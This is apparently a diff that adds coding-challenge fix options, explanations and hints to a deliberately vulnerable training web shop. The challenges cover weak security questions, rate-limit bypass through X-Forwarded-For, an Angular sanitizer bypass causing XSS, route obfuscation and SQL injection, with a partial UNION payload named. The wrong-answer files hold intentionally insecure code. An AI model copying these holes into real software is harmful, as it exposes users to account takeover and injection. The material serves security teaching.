+- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite movie?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordJimChallenge_3_correct.yml b/data/static/codefixes/resetPasswordJimChallenge_3_correct.yml new file mode 100644 index 00000000000..a5b448799f7 --- /dev/null +++ b/data/static/codefixes/resetPasswordJimChallenge_3_correct.yml @@ -0,0 +1,4 @@ +# Provide password reset option via a one-time link with +# short expiration span to registered email address instead +# of allowing reset on-the-fly by answering a security +# question. \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordMortyChallenge.info.yml b/data/static/codefixes/resetPasswordMortyChallenge.info.yml new file mode 100644 index 00000000000..02e0e0a89ec --- /dev/null +++ b/data/static/codefixes/resetPasswordMortyChallenge.info.yml @@ -0,0 +1,13 @@ +fixes: + - id: 1 + explanation: "Removing the setting to trust proxies does not improve security of the rate limiting. It might have some unforseen or unintended functional side-effects, though." + - id: 2 + explanation: 'Replacing the "X-Forwarded-For" header with its standardized alternative "Forwarded" does not close the security flaw of how this header is actually being used and can be abused by attackers.' + - id: 3 + explanation: "Reducing the rate limit from 100 requests in 5min to 10 reqests in 3min could be seen as a security improvement, if there wasn't an entirely unrelated misconfiguration at play here." + - id: 4 + explanation: "Removing the custom key generator that lets an arbitrary HTTP header take precedence over the client IP is the best option here. Now an attacker at least needs to fake their actual IP to bypass the rate limiting, as this is the default key for the RateLimit module used here. There is a functional downside though, as now users behin e.g. corporate proxies might be rate limited as a group and not individually. But with 100 allowed password resets in 5min this should not occur too frequently." +hints: + - "The security flaw has something to do with the rate limiting configuration." + - "Do you think the time window or number of requests is the actual problem here? Maybe there is something else going wrong..." + - 'Take a close look at the HTTP header being used here and ask yourself: "Could an attacker do anything with it to bypass rate limiting?"' diff --git a/data/static/codefixes/resetPasswordMortyChallenge_1.ts b/data/static/codefixes/resetPasswordMortyChallenge_1.ts new file mode 100644 index 00000000000..61c0e3f861d --- /dev/null +++ b/data/static/codefixes/resetPasswordMortyChallenge_1.ts @@ -0,0 +1,6 @@ +/* Rate limiting */ + app.use('/rest/user/reset-password', new RateLimit({ + windowMs: 5 * 60 * 1000, + max: 100, + keyGenerator ({ headers, ip }) { return headers['X-Forwarded-For'] || ip } + })) \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordMortyChallenge_2.ts b/data/static/codefixes/resetPasswordMortyChallenge_2.ts new file mode 100644 index 00000000000..10ff1fe3fa5 --- /dev/null +++ b/data/static/codefixes/resetPasswordMortyChallenge_2.ts @@ -0,0 +1,7 @@ +/* Rate limiting */ + app.enable('trust proxy') + app.use('/rest/user/reset-password', new RateLimit({ + windowMs: 5 * 60 * 1000, + max: 100, + keyGenerator ({ headers, ip }) { return headers['Forwarded'] || ip } + })) \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordMortyChallenge_3.ts b/data/static/codefixes/resetPasswordMortyChallenge_3.ts new file mode 100644 index 00000000000..e6a68f6c258 --- /dev/null +++ b/data/static/codefixes/resetPasswordMortyChallenge_3.ts @@ -0,0 +1,7 @@ +/* Rate limiting */ + app.enable('trust proxy') + app.use('/rest/user/reset-password', new RateLimit({ + windowMs: 3 * 60 * 1000, + max: 10, + keyGenerator ({ headers, ip }) { return headers['X-Forwarded-For'] || ip } + })) \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordMortyChallenge_4_correct.ts b/data/static/codefixes/resetPasswordMortyChallenge_4_correct.ts new file mode 100644 index 00000000000..8a75dc4fc29 --- /dev/null +++ b/data/static/codefixes/resetPasswordMortyChallenge_4_correct.ts @@ -0,0 +1,6 @@ +/* Rate limiting */ + app.enable('trust proxy') + app.use('/rest/user/reset-password', new RateLimit({ + windowMs: 5 * 60 * 1000, + max: 100, + })) \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordUvoginChallenge.info.yml b/data/static/codefixes/resetPasswordUvoginChallenge.info.yml new file mode 100644 index 00000000000..5acf46c0092 --- /dev/null +++ b/data/static/codefixes/resetPasswordUvoginChallenge.info.yml @@ -0,0 +1,10 @@ +fixes: + - id: 1 + explanation: 'Narrowing the scope of the question from "movie" to "animé" dramatically reduces the solution space, thus making guessing and brute force attacks a lot easier.' + - id: 2 + explanation: 'When changing the scope of this question from "movie" to "actor/actress", researching and brute forcing is probably just as easy for the attacker.' + - id: 3 + explanation: "When answered truthfully, all security questions are susceptible to online research (on Facebook, LinkedIn etc.) and often even brute force. If at all, they should not be used as the only factor for a security-relevant function." +hints: + - "Do you remember the security question that Uvogin used for his account?" + - "This question is the source of the security risk in this challenge." diff --git a/data/static/codefixes/resetPasswordUvoginChallenge_1.yml b/data/static/codefixes/resetPasswordUvoginChallenge_1.yml new file mode 100644 index 00000000000..d0d3f220d8c --- /dev/null +++ b/data/static/codefixes/resetPasswordUvoginChallenge_1.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite animé?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordUvoginChallenge_2.yml b/data/static/codefixes/resetPasswordUvoginChallenge_2.yml new file mode 100644 index 00000000000..4628887f7d6 --- /dev/null +++ b/data/static/codefixes/resetPasswordUvoginChallenge_2.yml @@ -0,0 +1,28 @@ +- + question: 'Your eldest siblings middle name?' +- + question: "Mother's maiden name?" +- + question: "Mother's birth date? (MM/DD/YY)" +- + question: "Father's birth date? (MM/DD/YY)" +- + question: "Maternal grandmother's first name?" +- + question: "Paternal grandmother's first name?" +- + question: 'Name of your favorite pet?' +- + question: "Last name of dentist when you were a teenager? (Do not include 'Dr.')" +- + question: 'Your ZIP/postal code when you were a teenager?' +- + question: 'Company you first work for as an adult?' +- + question: 'Your favorite book?' +- + question: 'Your favorite actor or actress?' +- + question: 'Number of one of your customer or ID cards?' +- + question: "What's your favorite place to go hiking?" \ No newline at end of file diff --git a/data/static/codefixes/resetPasswordUvoginChallenge_3_correct.yml b/data/static/codefixes/resetPasswordUvoginChallenge_3_correct.yml new file mode 100644 index 00000000000..a5b448799f7 --- /dev/null +++ b/data/static/codefixes/resetPasswordUvoginChallenge_3_correct.yml @@ -0,0 +1,4 @@ +# Provide password reset option via a one-time link with +# short expiration span to registered email address instead +# of allowing reset on-the-fly by answering a security +# question. \ No newline at end of file diff --git a/data/static/codefixes/restfulXssChallenge.info.yml b/data/static/codefixes/restfulXssChallenge.info.yml new file mode 100644 index 00000000000..a4487eb2127 --- /dev/null +++ b/data/static/codefixes/restfulXssChallenge.info.yml @@ -0,0 +1,12 @@ +fixes: + - id: 1 + explanation: 'Removing the bypass of sanitization entirely is the best way to fix the XSS vulnerability here. It should be noted, that XSS is only a consequence of broken autheorization in this case, as users should not be allowed to change product descriptions in the first place.' + - id: 2 + explanation: 'Manually encoding the angular brackets of the HTML tags does not add any security. It is likely to break descriptions with legitimate HTML tags for styling or links, though.' + - id: 3 + explanation: 'The removed code block deals with handling of different screen sizes and is entirely unrelated to the given XSS vulnerability.' + - id: 4 + explanation: 'Using bypassSecurityTrustScript() instead of bypassSecurityTrustHtml() changes the context for which input sanitization is bypassed. If at all, this switch might only accidentally keep XSS prevention intact.' +hints: + - "Find all places in the code which are handling the product descriptions." + - "Look for a line where the developers fiddled with Angular's built-in security model." diff --git a/data/static/codefixes/restfulXssChallenge_1_correct.ts b/data/static/codefixes/restfulXssChallenge_1_correct.ts new file mode 100644 index 00000000000..0e211e4cd44 --- /dev/null +++ b/data/static/codefixes/restfulXssChallenge_1_correct.ts @@ -0,0 +1,54 @@ +ngAfterViewInit () { + const products = this.productService.search('') + const quantities = this.quantityService.getAll() + forkJoin([quantities, products]).subscribe(([quantities, products]) => { + const dataTable: TableEntry[] = [] + this.tableData = products + for (const product of products) { + dataTable.push({ + name: product.name, + price: product.price, + deluxePrice: product.deluxePrice, + id: product.id, + image: product.image, + description: product.description + }) + } + for (const quantity of quantities) { + const entry = dataTable.find((dataTableEntry) => { + return dataTableEntry.id === quantity.ProductId + }) + if (entry === undefined) { + continue + } + entry.quantity = quantity.quantity + } + this.dataSource = new MatTableDataSource(dataTable) + for (let i = 1; i <= Math.ceil(this.dataSource.data.length / 12); i++) { + this.pageSizeOptions.push(i * 12) + } + this.paginator.pageSizeOptions = this.pageSizeOptions + this.dataSource.paginator = this.paginator + this.gridDataSource = this.dataSource.connect() + this.resultsLength = this.dataSource.data.length + this.filterTable() + this.routerSubscription = this.router.events.subscribe(() => { + this.filterTable() + }) + if (window.innerWidth < 2600) { + this.breakpoint = 4 + if (window.innerWidth < 1740) { + this.breakpoint = 3 + if (window.innerWidth < 1280) { + this.breakpoint = 2 + if (window.innerWidth < 850) { + this.breakpoint = 1 + } + } + } + } else { + this.breakpoint = 6 + } + this.cdRef.detectChanges() + }, (err) => console.log(err)) + } \ No newline at end of file diff --git a/data/static/codefixes/restfulXssChallenge_2.ts b/data/static/codefixes/restfulXssChallenge_2.ts new file mode 100644 index 00000000000..4f0a21b913a --- /dev/null +++ b/data/static/codefixes/restfulXssChallenge_2.ts @@ -0,0 +1,61 @@ +ngAfterViewInit () { + const products = this.productService.search('') + const quantities = this.quantityService.getAll() + forkJoin([quantities, products]).subscribe(([quantities, products]) => { + const dataTable: TableEntry[] = [] + this.tableData = products + this.encodeProductDescription(products) + for (const product of products) { + dataTable.push({ + name: product.name, + price: product.price, + deluxePrice: product.deluxePrice, + id: product.id, + image: product.image, + description: product.description + }) + } + for (const quantity of quantities) { + const entry = dataTable.find((dataTableEntry) => { + return dataTableEntry.id === quantity.ProductId + }) + if (entry === undefined) { + continue + } + entry.quantity = quantity.quantity + } + this.dataSource = new MatTableDataSource(dataTable) + for (let i = 1; i <= Math.ceil(this.dataSource.data.length / 12); i++) { + this.pageSizeOptions.push(i * 12) + } + this.paginator.pageSizeOptions = this.pageSizeOptions + this.dataSource.paginator = this.paginator + this.gridDataSource = this.dataSource.connect() + this.resultsLength = this.dataSource.data.length + this.filterTable() + this.routerSubscription = this.router.events.subscribe(() => { + this.filterTable() + }) + if (window.innerWidth < 2600) { + this.breakpoint = 4 + if (window.innerWidth < 1740) { + this.breakpoint = 3 + if (window.innerWidth < 1280) { + this.breakpoint = 2 + if (window.innerWidth < 850) { + this.breakpoint = 1 + } + } + } + } else { + this.breakpoint = 6 + } + this.cdRef.detectChanges() + }, (err) => console.log(err)) + } + + encodeProductDescription (tableData: any[]) { + for (let i = 0; i < tableData.length; i++) { + tableData[i].description = tableData[i].description.replaceAll('<', '<').replaceAll('>', '>') + } + } \ No newline at end of file diff --git a/data/static/codefixes/restfulXssChallenge_3.ts b/data/static/codefixes/restfulXssChallenge_3.ts new file mode 100644 index 00000000000..b9a1c390b38 --- /dev/null +++ b/data/static/codefixes/restfulXssChallenge_3.ts @@ -0,0 +1,47 @@ +ngAfterViewInit () { + const products = this.productService.search('') + const quantities = this.quantityService.getAll() + forkJoin([quantities, products]).subscribe(([quantities, products]) => { + const dataTable: TableEntry[] = [] + this.tableData = products + this.trustProductDescription(products) + for (const product of products) { + dataTable.push({ + name: product.name, + price: product.price, + deluxePrice: product.deluxePrice, + id: product.id, + image: product.image, + description: product.description + }) + } + for (const quantity of quantities) { + const entry = dataTable.find((dataTableEntry) => { + return dataTableEntry.id === quantity.ProductId + }) + if (entry === undefined) { + continue + } + entry.quantity = quantity.quantity + } + this.dataSource = new MatTableDataSource(dataTable) + for (let i = 1; i <= Math.ceil(this.dataSource.data.length / 12); i++) { + this.pageSizeOptions.push(i * 12) + } + this.paginator.pageSizeOptions = this.pageSizeOptions + this.dataSource.paginator = this.paginator + this.gridDataSource = this.dataSource.connect() + this.resultsLength = this.dataSource.data.length + this.filterTable() + this.routerSubscription = this.router.events.subscribe(() => { + this.filterTable() + }) + this.cdRef.detectChanges() + }, (err) => console.log(err)) + } + + trustProductDescription (tableData: any[]) { + for (let i = 0; i < tableData.length; i++) { + tableData[i].description = this.sanitizer.bypassSecurityTrustHtml(tableData[i].description) + } + } \ No newline at end of file diff --git a/data/static/codefixes/restfulXssChallenge_4.ts b/data/static/codefixes/restfulXssChallenge_4.ts new file mode 100644 index 00000000000..d30e359987f --- /dev/null +++ b/data/static/codefixes/restfulXssChallenge_4.ts @@ -0,0 +1,61 @@ +ngAfterViewInit () { + const products = this.productService.search('') + const quantities = this.quantityService.getAll() + forkJoin([quantities, products]).subscribe(([quantities, products]) => { + const dataTable: TableEntry[] = [] + this.tableData = products + this.trustProductDescription(products) + for (const product of products) { + dataTable.push({ + name: product.name, + price: product.price, + deluxePrice: product.deluxePrice, + id: product.id, + image: product.image, + description: product.description + }) + } + for (const quantity of quantities) { + const entry = dataTable.find((dataTableEntry) => { + return dataTableEntry.id === quantity.ProductId + }) + if (entry === undefined) { + continue + } + entry.quantity = quantity.quantity + } + this.dataSource = new MatTableDataSource(dataTable) + for (let i = 1; i <= Math.ceil(this.dataSource.data.length / 12); i++) { + this.pageSizeOptions.push(i * 12) + } + this.paginator.pageSizeOptions = this.pageSizeOptions + this.dataSource.paginator = this.paginator + this.gridDataSource = this.dataSource.connect() + this.resultsLength = this.dataSource.data.length + this.filterTable() + this.routerSubscription = this.router.events.subscribe(() => { + this.filterTable() + }) + if (window.innerWidth < 2600) { + this.breakpoint = 4 + if (window.innerWidth < 1740) { + this.breakpoint = 3 + if (window.innerWidth < 1280) { + this.breakpoint = 2 + if (window.innerWidth < 850) { + this.breakpoint = 1 + } + } + } + } else { + this.breakpoint = 6 + } + this.cdRef.detectChanges() + }, (err) => console.log(err)) + } + + trustProductDescription (tableData: any[]) { + for (let i = 0; i < tableData.length; i++) { + tableData[i].description = this.sanitizer.bypassSecurityTrustScript(tableData[i].description) + } + } \ No newline at end of file diff --git a/data/static/codefixes/scoreBoardChallenge.info.yml b/data/static/codefixes/scoreBoardChallenge.info.yml new file mode 100644 index 00000000000..01dd0ee0779 --- /dev/null +++ b/data/static/codefixes/scoreBoardChallenge.info.yml @@ -0,0 +1,11 @@ +fixes: + - id: 1 + explanation: 'In this one-of-a-kind scenario it is really best to just leave the code unchanged. Fiddling with it might either break accessibility of the crucial Score Board screen or make it unnecessarily harder to find it.' + - id: 2 + explanation: "Obfuscating the path to the Score Board does not add any security, even if it wasn't just a trivial Base64 encoding. It would, on the other hand, make finding it a bit more difficulty. This is probably not intended as the Score Board screen is the hub for all other challenges." + - id: 3 + explanation: 'Removing the entire route mapping would improve security but also break functionality by making the Score Board entirely inaccessible. Keep in mind that the Score Board is hidden only to be found and used to track all the other challenges.' +hints: + - "Among the long list of route mappings, can you spot any that seem responsible for the Score Board screen?" + - "If you accidentally scrolled over the relevant line, try using the text search in your browser." + - 'Searching for "score" should bring you to the right route mapping.' diff --git a/data/static/codefixes/scoreBoardChallenge_1_correct.ts b/data/static/codefixes/scoreBoardChallenge_1_correct.ts new file mode 100644 index 00000000000..94364436667 --- /dev/null +++ b/data/static/codefixes/scoreBoardChallenge_1_correct.ts @@ -0,0 +1,175 @@ +const routes: Routes = [ + { + path: 'administration', + component: AdministrationComponent, + canActivate: [AdminGuard] + }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: 'score-board', // Must remain as is! Needed for challenge tracking! + component: ScoreBoardComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/scoreBoardChallenge_2.ts b/data/static/codefixes/scoreBoardChallenge_2.ts new file mode 100644 index 00000000000..2183a1bcebc --- /dev/null +++ b/data/static/codefixes/scoreBoardChallenge_2.ts @@ -0,0 +1,175 @@ +const routes: Routes = [ + { + path: 'administration', + component: AdministrationComponent, + canActivate: [AdminGuard] + }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: atob('c2NvcmUtYm9hcmQ='), + component: ScoreBoardComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/scoreBoardChallenge_3.ts b/data/static/codefixes/scoreBoardChallenge_3.ts new file mode 100644 index 00000000000..867f702ed1b --- /dev/null +++ b/data/static/codefixes/scoreBoardChallenge_3.ts @@ -0,0 +1,171 @@ +const routes: Routes = [ + { + path: 'administration', + component: AdministrationComponent, + canActivate: [AdminGuard] + }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/tokenSaleChallenge.info.yml b/data/static/codefixes/tokenSaleChallenge.info.yml new file mode 100644 index 00000000000..b1e3868452e --- /dev/null +++ b/data/static/codefixes/tokenSaleChallenge.info.yml @@ -0,0 +1,11 @@ +fixes: + - id: 1 + explanation: "Obfuscating the path to the Token Sale page with Base64 instead of the original obfuscation function does not add any security. It actually makes the route even more easily identifiable." + - id: 2 + explanation: "Restricting access to the Token Sale page to administrators might sound good in theory. Unfortunately this all only happens in client-side code, so such check couldn't be fully trusted." + - id: 3 + explanation: "The only viable way to prevent access to a soon-to-be-released Token Sale page is to not have it in the client-side code before its actual release. It then makes sense to not have any premature route mapping declarations either. This then makes the whole obfuscation code-madness unnecessary as well." +hints: + - "Where is the Token Sale page actually being handled?" + - "What is weird about how the Token Sale route is being declared?" + - "If the Token Sale page is still considered a secret, why is it mapped to a route at all?" diff --git a/data/static/codefixes/tokenSaleChallenge_1.ts b/data/static/codefixes/tokenSaleChallenge_1.ts new file mode 100644 index 00000000000..2325decc0bc --- /dev/null +++ b/data/static/codefixes/tokenSaleChallenge_1.ts @@ -0,0 +1,62 @@ +{ + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + path: atob('dG9rZW5zYWxlLWljby1lYQ=='), + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] + +export const Routing = RouterModule.forRoot(routes, { useHash: true, relativeLinkResolution: 'legacy' }) + +export function oauthMatcher (url: UrlSegment[]): UrlMatchResult { + if (url.length === 0) { + return null as unknown as UrlMatchResult + } + const path = window.location.href + if (path.includes('#access_token=')) { + return ({ consumed: url }) + } + + return null as unknown as UrlMatchResult +} + +export function tokenMatcher (url: UrlSegment[]): UrlMatchResult { + if (url.length === 0) { + return null as unknown as UrlMatchResult + } + + const path = url[0].toString() + // eslint-disable-next-line @typescript-eslint/restrict-plus-operands + if (path.match((token1(25, 184, 174, 179, 182, 186) + (36669).toString(36).toLowerCase() + token2(13, 144, 87, 152, 139, 144, 83, 138) + (10).toString(36).toLowerCase()))) { + return ({ consumed: url }) + } + + return null as unknown as UrlMatchResult +} + +export function token1 (...args: number[]) { + const L = Array.prototype.slice.call(args) + const D = L.shift() + return L.reverse().map(function (C, A) { + return String.fromCharCode(C - D - 45 - A) + }).join('') +} + +export function token2 (...args: number[]) { + const T = Array.prototype.slice.call(arguments) + const M = T.shift() + return T.reverse().map(function (m, H) { + return String.fromCharCode(m - M - 24 - H) + }).join('') +} \ No newline at end of file diff --git a/data/static/codefixes/tokenSaleChallenge_2.ts b/data/static/codefixes/tokenSaleChallenge_2.ts new file mode 100644 index 00000000000..acf1bc9a81b --- /dev/null +++ b/data/static/codefixes/tokenSaleChallenge_2.ts @@ -0,0 +1,63 @@ +{ + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent, + canActivate: [AdminGuard] + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] + +export const Routing = RouterModule.forRoot(routes, { useHash: true, relativeLinkResolution: 'legacy' }) + +export function oauthMatcher (url: UrlSegment[]): UrlMatchResult { + if (url.length === 0) { + return null as unknown as UrlMatchResult + } + const path = window.location.href + if (path.includes('#access_token=')) { + return ({ consumed: url }) + } + + return null as unknown as UrlMatchResult +} + +export function tokenMatcher (url: UrlSegment[]): UrlMatchResult { + if (url.length === 0) { + return null as unknown as UrlMatchResult + } + + const path = url[0].toString() + // eslint-disable-next-line @typescript-eslint/restrict-plus-operands + if (path.match((token1(25, 184, 174, 179, 182, 186) + (36669).toString(36).toLowerCase() + token2(13, 144, 87, 152, 139, 144, 83, 138) + (10).toString(36).toLowerCase()))) { + return ({ consumed: url }) + } + + return null as unknown as UrlMatchResult +} + +export function token1 (...args: number[]) { + const L = Array.prototype.slice.call(args) + const D = L.shift() + return L.reverse().map(function (C, A) { + return String.fromCharCode(C - D - 45 - A) + }).join('') +} + +export function token2 (...args: number[]) { + const T = Array.prototype.slice.call(arguments) + const M = T.shift() + return T.reverse().map(function (m, H) { + return String.fromCharCode(m - M - 24 - H) + }).join('') +} \ No newline at end of file diff --git a/data/static/codefixes/tokenSaleChallenge_3_correct.ts b/data/static/codefixes/tokenSaleChallenge_3_correct.ts new file mode 100644 index 00000000000..e2ef5458475 --- /dev/null +++ b/data/static/codefixes/tokenSaleChallenge_3_correct.ts @@ -0,0 +1,28 @@ +{ + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] + +export const Routing = RouterModule.forRoot(routes, { useHash: true, relativeLinkResolution: 'legacy' }) + +export function oauthMatcher (url: UrlSegment[]): UrlMatchResult { + if (url.length === 0) { + return null as unknown as UrlMatchResult + } + const path = window.location.href + if (path.includes('#access_token=')) { + return ({ consumed: url }) + } + + return null as unknown as UrlMatchResult +} \ No newline at end of file diff --git a/data/static/codefixes/unionSqlInjectionChallenge.info.yml b/data/static/codefixes/unionSqlInjectionChallenge.info.yml new file mode 100644 index 00000000000..ed1693937ff --- /dev/null +++ b/data/static/codefixes/unionSqlInjectionChallenge.info.yml @@ -0,0 +1,11 @@ +fixes: + - id: 1 + explanation: "Trying to prevent any injection attacks with a custom-built blocklist mechanism is doomed to fail. It might work for some simpler attack payloads but an attacker with time and skills can likely bypass it at some point." + - id: 2 + explanation: 'Using the built-in replacement (or binding) mechanism of Sequelize is equivalent to creating a Prepared Statement. This prevents tampering with the query syntax through malicious user input as it is "set in stone" before the criteria parameter is inserted.' + - id: 3 + explanation: "Limiting the allowed search values via startsWith() would still allow SQL Injection via \"orange')) UNION SELECT ... --\" or similarly prefixed payloads. Even worse, this fix also breaks the free text search capability." +hints: + - "Try to identify any variables in the code that might contain arbitrary user input." + - "Follow the user input through the function call and try to spot places where it might be abused for malicious purposes." + - "Can you spot a place where a SQL query is being cobbled together in an unsafe way?" diff --git a/data/static/codefixes/unionSqlInjectionChallenge_1.ts 